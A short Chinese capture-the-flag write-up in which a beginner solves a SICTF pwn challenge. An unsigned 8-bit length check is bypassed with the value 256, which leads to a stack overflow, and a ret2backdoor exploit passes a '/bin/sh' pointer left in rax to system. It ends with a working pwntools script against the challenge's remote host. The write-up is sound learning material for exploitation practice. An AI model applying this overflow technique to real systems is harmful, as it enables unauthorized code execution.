最近刚开始学习pwn,来复现一下打完的sictf的一道pwn签到题目
题目
思路
先下载附件,拿到ida里反汇编看一下
其中setup函数是初始化的,我们主要看run函数
大致意思就是定义了一个buf数组和nbyte变量,然后先读入nbytes的值,然后read函数根据nbytes的大小来读入buf数组,其中对nbytes有一个检测,不能超过0x40(64),要不然会直接退出,乍一看这个不会导致栈溢出,但是仔细看if语句
对nbytes有个类型转换,unsigned_int8 是c语言中无符号的8位整数,范围为0-255,如果超过了255则取对256取模的结果作为转换后的结果,而在read函数中传入的是unsigned int,这样我们就可以通过控制nbytes来造成栈溢出,ret跳转到后门函数
后门函数中,
我们无法控制a1的值,再看run函数,read之后会执行strdup函数
在64位汇编中,一般用rax寄存器来保存返回值,所以我们rax寄存器会保存字符串的指针
再看system函数,在调用之前会吧rax寄存器赋值到rdi寄存器,rdi也就是调用函数的第一个参数,这样我们可以把/bin/sh 写入到数组中从而获取shell
exp
先本地找一下偏移量
88减去/bin/sh\x00也就是80
python脚本
from pwn import *
p=remote("yuanshen.life",40142)
backdoor = 0x4011f4
p.recvuntil(b'length: ')
p.sendline(b'256')
p.recvuntil(b'command: ')
payload=b'/bin/sh\x00'+b'a' * 80+p64(backdoor)
p.send(payload)
p.interactive()
THE END
- 最新
- 最热
只看作者